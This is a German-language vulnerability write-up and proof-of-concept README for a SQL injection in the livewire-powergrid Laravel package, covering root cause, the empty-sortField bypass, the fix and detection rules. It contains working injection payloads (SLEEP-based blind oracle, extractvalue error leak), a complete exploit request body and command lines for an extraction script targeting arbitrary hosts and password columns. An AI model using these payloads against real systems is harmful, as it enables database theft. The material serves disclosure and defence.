
Proof-of-Concept und technische Beschreibung für CVE-2026-65971 — SQL-Injection über die sortDirection Livewire-Eigenschaft in power-components/livewire-powergrid (< 6.10.4)
sortDirectionProof-of-Concept und vollständige technische Beschreibung für CVE-2026-65971 / GHSA-7fgc-3h6c-698r,
eine SQL-Injection in power-components/livewire-powergrid,
die über die öffentliche Livewire-Eigenschaft sortDirection erreichbar ist.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| Paket | power-components/livewire-powergrid (Composer / Packagist) |
| Betroffen | >= 6.0.0, < 6.10.4 |
| Behoben | 6.10.4 |
| Schwachstelle | CWE-89 — Unzureichende Neutralisierung spezieller Elemente in einem SQL-Befehl |
| Schweregrad | 7.6 Hoch — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| Gemeldet von | Caio Fabrício (@BiiTts) |
| Offenlegung | Koordiniert, über privates GitHub-Sicherheitsadvisory |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 Zusammenfassung
PowerGrid ist eine Datatable-Komponente für Laravel + Livewire (~2k Sterne, weit verbreitet in
Laravel-Admin-Panels). Sein Sortierzustand lebt in zwei **öffentlichen Livewire-Eigenschaften**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
In Livewire ist eine öffentliche Eigenschaft Teil des Wire-Formats der Komponente – jeder Client, der die Komponente erreichen kann, kann sie über POST /livewire/update setzen. Das ist beabsichtigt; die Sicherheitsgrenze liegt darin, was der Server mit dem Wert tut.
PowerGrids naturalSort()-Funktion erstellt einen rohen ORDER BY-Ausdruck, der den Platzhalter {sortDirection} enthält, und eine Pipeline ersetzt diesen Platzhalter mit dem rohen, unvalidierten Eigenschaftswert, bevor die Zeichenkette an orderByRaw() übergeben wird. Das Richtungsschlüsselwort landet daher wörtlich in SQL.
Laravels eigene orderBy()-Methode lehnt alles ab, was nicht asc/desc ist, und diese Validierung macht den normalen Sortierpfad sicher. Der Fehler besteht darin, dass ein zweiter, unvalidierter Pfad zur selben Klausel existiert – und ein Angreifer ihn erreichen kann, während er den validierenden vollständig umgeht (siehe The bypass).
Ergebnis: Beliebiges SQL in der ORDER BY-Klausel, ausnutzbar als blindes boolesches/zeitbasiertes Orakel, um alle Daten zu lesen, die der Datenbankbenutzer lesen kann.
Jeder, der eine PowerGrid-Tabelle erreichen kann, die naturalSort verwendet, kann beliebige Daten aus der Datenbank lesen – andere Tabellen, Passwort-Hashes, Sitzungstoken, API-Schlüssel, mandantenübergreifende Datensätze – mithilfe eines zeit-/booleschen Orakels.
SELECT kann.; UPDATE ... nicht ausgeführt wird. Schreibauswirkungen sind auf das beschränkt, was eine Unterabfrage auslösen kann.SLEEP() und schwere Unterabfragen – trivial missbrauchbar, um Datenbank-Threads zu blockieren.Erforderliche Berechtigungen sind PR:L, da eine Datentabelle normalerweise hinter der Anwendungsauthentifizierung sitzt. Wenn die betroffene Tabelle auf einer nicht authentifizierten Seite gerendert wird, neu berechnen mit PR:N → 8.2 Hoch.
Drei Dateien, drei Stufen. Alle Referenzen beziehen sich auf den anfälligen Tag v6.10.3.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
Keine der Eigenschaften hat eine Whitelist, eine Validierungsregel oder einen normalisierenden Setter. `sortDirection` wird nur zugewiesen oder umgeschaltet:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (Zeile 103) existiert — der natürliche Ort für Validierung —, aber in v6.10.3
verarbeitet es nur Lazy-Loading-Buchhaltung. Es überprüft den Wert nie.
Da Livewire öffentliche Eigenschaften direkt aus der Anfrage füllt, ist sortDirection an dieser Stelle
vollständig angreiferkontrolliert, als beliebiger String.
naturalSort() setzt einen Platzhaltersrc/Providers/Macros.php, Zeilen 102–116 — das naturalSort-Spalten-Makro:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` ergibt einen treiberspezifischen Ausdruck, der von
`getSortSqlByDriver()` in `src/DataSource/Support/Sql.php` (Zeilen 60–100) erstellt wird. Jede Treibervariante
endet mit dem gleichen Literal-Platzhalter:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
Die Schwachstelle ist treiberunabhängig — jeder Zweig interpoliert {sortDirection}.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
und die Ausführung, Zeile 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') gibt den String des Angreifers zurück, preg_replace_callback
fügt es in den SQL-Text ein, und orderByRaw() — das vertragsgemäß sein Argument nicht escaped — übergibt es an die Datenbank.
Beachten Sie die bittere Ironie eine Zeile darunter: resolveBindings() (Zeile 69) existiert, und naturalSort
deklariert 'bindings' => []. Der Mechanismus für sichere Parametrisierung ist genau da. Es kann nicht
für ein Richtungsschlüsselwort verwendet werden — ORDER BY x ? ist kein gültiges SQL, eine Richtung kann nie ein gebundener Parameter sein — das ist genau der Grund, warum ein Richtungsschlüsselwort stattdessen auf eine Whitelist gesetzt werden muss.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 Der Bypass — warum Laravels Validierung dich nicht schützt
Dies ist der Teil, der "rohe Interpolation" in einen tatsächlich ausnutzbaren Fehler verwandelt, und es ist der Grund, warum das Problem in einem ausgereiften, weit verbreiteten Paket überlebt hat.
PowerGrid verarbeitet eine Abfrage über eine **Pipeline**. Zwei Stufen dieser Pipeline berühren die Sortierrichtung:
**`Sorting` pipeline** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() ist Laravels validierende API. Gib ihm etwas anderes als asc/desc und es wirft:```
InvalidArgumentException: Order direction must be "asc" or "desc".
Also auf dem normalen Pfad – der Benutzer klickt auf eine Spaltenüberschrift, `sortField=name`, `sortDirection=<Payload>` – blockiert das Framework die Injection. Eine schnelle Prüfung stoppt hier und kommt zu dem Schluss „durch Laravel abgemildert".
**`ColumnRawQueries`-Pipeline** – die zweite Stufe, oben gezeigt – hat **keinen solchen Schutz**. Betrachten Sie ihre `handle()`-Methode (Zeilen 21–27): Sie iteriert über die Spalten und für jede Spalte, die `rawQueries` trägt, wendet sie diese *bedingungslos* an. Sie berücksichtigt nie `sortField`. Sie berücksichtigt nie das Ergebnis der `Sorting`-Pipeline.
Diese Asymmetrie ist der Fehler:
| `sortField` | `Sorting`-Pipeline | `ColumnRawQueries`-Pipeline | Ergebnis |
|---|---|---|---|
| `"name"` (ausgefüllt) | läuft → `orderBy()` **validiert** → wirft Fehler bei Payload | läuft → injiziert | ❌ durch Exception blockiert |
| `""` (leer) | `filled('')` ist `false` → **vollständig übersprungen** | läuft → injiziert | ✅ **Injection landet** |
Setzen von **`sortField` auf einen leeren String** bewirkt, dass die Validierungsstufe sich selbst überspringt, während die Rohdaten-Stufe weiterhin das `naturalSort` `ORDER BY` mit dem `{sortDirection}` des Angreifers ausgibt. Die Validierung von Laravel wird nie aufgerufen, da der Codepfad, der sie enthält, nie ausgeführt wird.
**Der vollständige Angriff besteht daher aus zwei Feldern, nicht einem:** `sortDirection` trägt die Payload, und `sortField=""` ist der Schlüssel, der die Tür öffnet.
---
## 🎯 Die genauen Felder
Alles geschieht über den Standard-Update-Endpunkt von Livewire. Keine speziellen Header, keine benutzerdefinierte Route, keine Admin-Funktion.
**Endpunkt:** `POST /livewire/update`
**Body (JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
Resultierendes SQL (MariaDB-Lab, Tabelle rooms, Spalte name mit naturalSort):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
Das Payload sitzt in einem vollständigen Ausdrucksplatz der `ORDER BY`-Liste, weshalb eine nackte Unterabfrage funktioniert und die Klausel gültiges SQL bleibt.
---
## 🔬 Wie es gefunden wurde – der Weg durch den Code
Die folgende Reihenfolge ist die tatsächliche Reihenfolge der Überlegungen, einschließlich des Schrittes, der die Untersuchung fast als falsch positives Ergebnis abgeschlossen hätte.
**1. Angriffsfläche zuerst: Livewire-öffentliche Eigenschaften sind Angreifereingaben.**
Das eigene Modell des Frameworks besagt, dass jede `public`-Eigenschaft einer Komponente über `/livewire/update` client-seitig beschreibbar ist. Die Audit-Frage für jedes Livewire-Paket ist also nicht „Gibt es Benutzereingaben?“, sondern „Welche öffentlichen Eigenschaften erreichen eine gefährliche Senke?“. Die öffentlichen Eigenschaften von PowerGrid wurden aufgelistet; `$sortField` und `$sortDirection` stachen hervor, da sie speziell dafür existieren, in SQL eingebaut zu werden.
**2. Verfolge sie zu jeder Senke.** Das Paket wurde nach Raw-SQL-APIs durchsucht – `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` – und nach allen, die diese Eigenschaften empfangen könnten. `naturalSort`s `'method' => 'orderByRaw'` in `Macros.php` war der Treffer.
**3. Finde die Verbindung zwischen Eigenschaft und Senke.** Das Raw-SQL in `Sql.php` verwies nicht auf `$this->sortDirection`; es enthielt den Literal-String `{sortDirection}`. Eine solche Vorlage impliziert einen Auflöser irgendwo. Die Suche nach dem Klammer-Muster führte zu `ColumnRawQueries::resolvePlaceholders()` und dessen `data_get($this->component, $property, '')` – einem generischen Eigenschaftsleser ohne Escaping. Quelle und Senke sind nun verbunden.
**4. Der Schritt, der es fast beendet hätte: die Abschwächung.** Erster Live-Versuch – setze `sortDirection` auf ein Payload und führe aus – führte nicht zu einem Leck, sondern zu `InvalidArgumentException: Order direction must be "asc" or "desc".` Laravels `orderBy()` hat es abgefangen. Die verführerische Schlussfolgerung hier ist *„Das Framework entschärft, nicht ausnutzbar“*, und diese Schlussfolgerung wäre falsch gewesen.
**5. Frage, wo die Ausnahme herkam, nicht nur, dass sie passierte.** Die Spur zeigte auf das `orderBy()` der `Sorting`-Pipeline – **eine andere Stufe** als die in Schritt 2 identifizierte Senke `orderByRaw()`. Zwei Stufen, zwei unabhängige Schreibvorgänge in dasselbe `ORDER BY`, nur eine davon validierend. Das stellte die Frage um von „Kann ich Laravels Validierer besiegen?“ (nein – es ist ein strikter Vergleich) zu **„Kann ich die Raw-Stufe erreichen, ohne die validierende Stufe auszuführen?“**
**6. Lies die Absicherung.** Die validierende Stufe läuft unter `if (filled($this->component->sortField))`. `filled('')` ist `false`. Die Raw-Stufe hat überhaupt keine Absicherung. Der Bypass war eine direkte Konsequenz: sende `sortField=""` und nur die ungeschützte Stufe läuft.
**7. Bestätige empirisch, zweimal, mit unabhängigen Techniken.** Ein einzelnes positives Signal ist kein Befund – eine Zeitdifferenz könnte ein Ratenbegrenzer sein, ein Fehler könnte ein generischer 500er sein. Sowohl ein fehlerbasierter Beweis (die Datenbank gibt die injizierte Unterabfrage wörtlich zurück) als auch ein zeitbasiertes boolesches Orakel (Unterscheidung von TRUE und FALSE an echten Daten) waren erforderlich, bevor es als bestätigt bezeichnet wurde. Siehe [Nachweise](#-evidence).
**Verallgemeinerbare Erkenntnis:** Eine Abschwächung auf Framework-Ebene schützt nur den Codepfad, auf dem sie sitzt. Wenn zwei Pipeline-Stufen in dieselbe SQL-Klausel schreiben, ist „das Framework validiert es“ eine Behauptung über eine von ihnen. Frage immer, in welcher Stufe die Validierung tatsächlich lebt und ob die gefährliche Stufe allein laufen kann.
---
## 🧪 Nachweise
Labor: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, mit einer `RoomTable` PowerGrid-Komponente, deren `name`-Spalte `->naturalSort(true)` deklariert und einer `rooms`-Tabelle, die eine `secret`-Spalte enthält. Vollständiges Labor in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).
**Fehlerbasiert – die injizierte Unterabfrage erreicht die DB wörtlich** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
Die Datenbank hat ein vom Angreifer bereitgestelltes SELECT innerhalb des ORDER BY parsiert und ausgeführt. Dies ist ein eindeutiger Beweis für eine Injektion – der Fehlertext enthält das injizierte SQL wie ausgeführt, nicht wie übermittelt.
Blind zeitbasiert — beliebige Datenextraktion:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
Das TRUE/FALSE-Paar ist das, was dies von „etwas ist langsam“ zu „Ich kann Ihre Daten lesen“ aufwertet:
Die gleiche Anfragenform gibt zwei sauber getrennte Zeitmessungen zurück, abhängig von einer Bedingung über einen Wert, den der Angreifer nicht sehen kann. Das ist ein funktionierendes Orakel, und `poc/exploit_powergrid_sqli.py` durchläuft es Zeichen für Zeichen.
> `SLEEP(3)` ergibt ~9s statt ~3s, weil die Sortierung den schlafenden Ausdruck auf mehrere Zeilen anwendet – ein stärkeres, nicht schwächeres Signal.
Rohe Notizen: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).
---
## ⚙️ Konzeptnachweis
Keine Abhängigkeiten, nur Python 3 Standardbibliothek.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
Es wird:
GET-Anfrage an die Seite senden und das CSRF-Token sowie das wire:snapshot der PowerGrid-Komponente extrahieren;sortDirection=asc-Anfrage als Basiszeit messen;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" senden und die Zeitabstände vergleichen;Nützliche Flags:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
Gegen ein gepatchtes `6.10.4`-Ziel meldet das Skript keine Zeitdifferenz und beendet sich sauber – die Zulassungsliste reduziert jede Nutzlast auf `asc`.
## ✅ Fehleranalyse (`v6.10.4`)
Die Betreuer haben **mehrstufige Verteidigung über vier Aufrufstellen hinweg** implementiert – die richtige Form für diese Art von Fehler. Die Primitive:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
Eine strenge Positivliste mit einem sicheren Standard – keine Blacklist, kein Escaping, kein Regex. Für ein Schlüsselwort, das kein gebundener Parameter sein kann, ist dies die einzig korrekte Kontrolle.
Angewendet bei:
ColumnRawQueries::resolvePlaceholders() – die Senke. {sortDirection} wird jetzt speziell behandelt und nur über sanitizeSortDirection() aufgelöst, niemals über das generische data_get().Concerns\Sorting::updatedSortDirection() – der Livewire-Hook. Bereinigt beim Schreiben, sodass die Eigenschaft selbst keinen Payload mehr halten kann.Concerns\Sorting::sortBy() – bereinigt das Richtungsargument.Pipelines\Sorting::applySingleSort() / applyMultipleSort() – deckt benutzerdefinierte sortUsing-Callbacks ab, die eigene orderByRaw-Aufrufe erstellen können. Damit wurde ein zweiter, verwandter Pfad geschlossen, der über den ursprünglich gemeldeten hinausgeht.Regressionstests wurden hinzugefügt: tests/Feature/SortDirectionInjectionTest.php und ein DishesNaturalSortTable-Fixture.
Patch-Überprüfung am veröffentlichten Tag durchgeführt (nicht auf Versprechungen): v6.10.4 geklont, jede rohe Richtungssenke gegrep, die Testsuite ausgeführt (30/30 bestanden) und sanitizeSortDirection() mit 17 Payloads gefuzzt – den zeitbasierten Payload aus der Sicherheitsmeldung, Nullbytes, SQL-Kommentare, hexadezimale Literale, gemischte Groß-/Kleinschreibung, Leerzeichenauffüllung, Unicode. Alle werden auf asc oder desc reduziert. Verbleibende Senken (Export über WithExport/ExportableJob, Scout) durchlaufen validiertes orderBy() anstelle von orderByRaw() und sind nicht injektionsfähig.
Urteil: GEPATCHT.
Der sicherheitsrelevante Teil des Diffs befindet sich in patch/.
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**Aktualisieren Sie – versuchen Sie nicht, es zu umgehen.** Wenn Sie heute wirklich nicht aktualisieren können, besteht die vorübergehende Abhilfe darin, die Komponente selbst zu bereinigen:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
Dies ist eine Übergangslösung. Aktualisieren Sie.
Die Voraussetzung ist mindestens eine Spalte, die naturalSort deklariert:```bash
grep -rn "naturalSort" app/ resources/
Keine `naturalSort`-Spalte bedeutet, dass das rohe `ORDER BY` nie registriert wird und der primäre Pfad nicht erreichbar ist. Beachten Sie, dass `v6.10.4` auch den `sortUsing`-Callback-Pfad gehärtet hat – wenn Ihre benutzerdefinierten Sortier-Callbacks aus der Richtung rohes SQL erstellen, sind Sie auch über diesen Pfad exponiert, unabhängig von `naturalSort`.
### Erkennung von Ausnutzung
Der Angriff ist eine normal aussehende Livewire-Anfrage; es gibt keinen ungewöhnlichen Endpunkt oder Methode, auf die man achten sollte. Schauen Sie auf den **Wert** von `sortDirection` – legitimer Traffic sendet nur `asc` oder `desc`.
Alles andere ist per Definition anomal. Praktische Signale:
- `POST /livewire/update`, wenn der JSON-Body `"sortDirection"` mit einem Wert enthält, der nicht exakt `asc`/`desc` (Groß-/Kleinschreibung egal) ist – hohe Genauigkeit, nahezu keine Fehlalarme;
- dieselbe Anfrage trägt `"sortField":""` (leer) zusammen mit einem nicht-trivialen `sortDirection` – die exakte Umgehungssignatur;
- SQL-Schlüsselwörter in diesem Wert: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- Anwendungsfehlerprotokolle mit `SQLSTATE[HY000] 1105` oder `SQLSTATE[42000]` unter Bezugnahme auf `order by`;
- Stöße von gleichförmigen POSTs mit Antwortzeiten, die bimodal gruppiert sind (schnell/langsam) – eine blinde Oracle, die ausgelesen wird.
Zwei Sigma-Regeln werden in [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) bereitgestellt – eine für den Anforderungstext, eine für die Datenbankfehlersignatur, wenn keine Textprotokollierung verfügbar ist. Eine Nuclei-Vorlage, die erreichbare PowerGrid-Komponenten (die vorausgesetzte Oberfläche) markiert, befindet sich in [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml); bestätigen Sie jeden Treffer mit `poc/exploit_powergrid_sqli.py --check-only`.
---
## 📚 Referenzen
- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Fehlerbehebungsversion — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff der Fehlerbehebung — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Unsachgemäße Neutralisierung spezieller Elemente in einem SQL-Befehl](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Eigenschaften sind vom Client beschreibbar](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ Rechtliches
Veröffentlicht nach koordinierter Offenlegung, einem veröffentlichten Patch und einer öffentlichen Herstellerberatung. Der PoC zielt auf das lokale Labor in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) und ist für Verteidiger gedacht, die ihre eigene Exposition validieren, sowie für Forscher, die diese Fehlerklasse untersuchen. Das Ausführen gegen Systeme, die Sie nicht testen dürfen, ist illegal. Sie sind für das verantwortlich, was Sie damit tun.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| Feld | Rolle | Wert |
|---|
components[0].updates.sortDirection | Injectionspunkt | die SQL-Nutzlast, vorangestellt mit einer gültigen Sortierrichtung, damit die Klausel syntaktisch vollständig bleibt |
components[0].updates.sortField | Umgehungsschlüssel | "" — leer, um die validierende Sorting-Pipeline zu umgehen |
components[0].snapshot | Infrastruktur | Livewire-Komponentenzustand; aus dem wire:snapshot="..." im Seiten-HTML extrahiert (HTML-unescape erforderlich) |
_token / X-CSRF-TOKEN | Infrastruktur | aus dem data-csrf="..." oder dem "csrf":"..."-Block in der Seite extrahiert |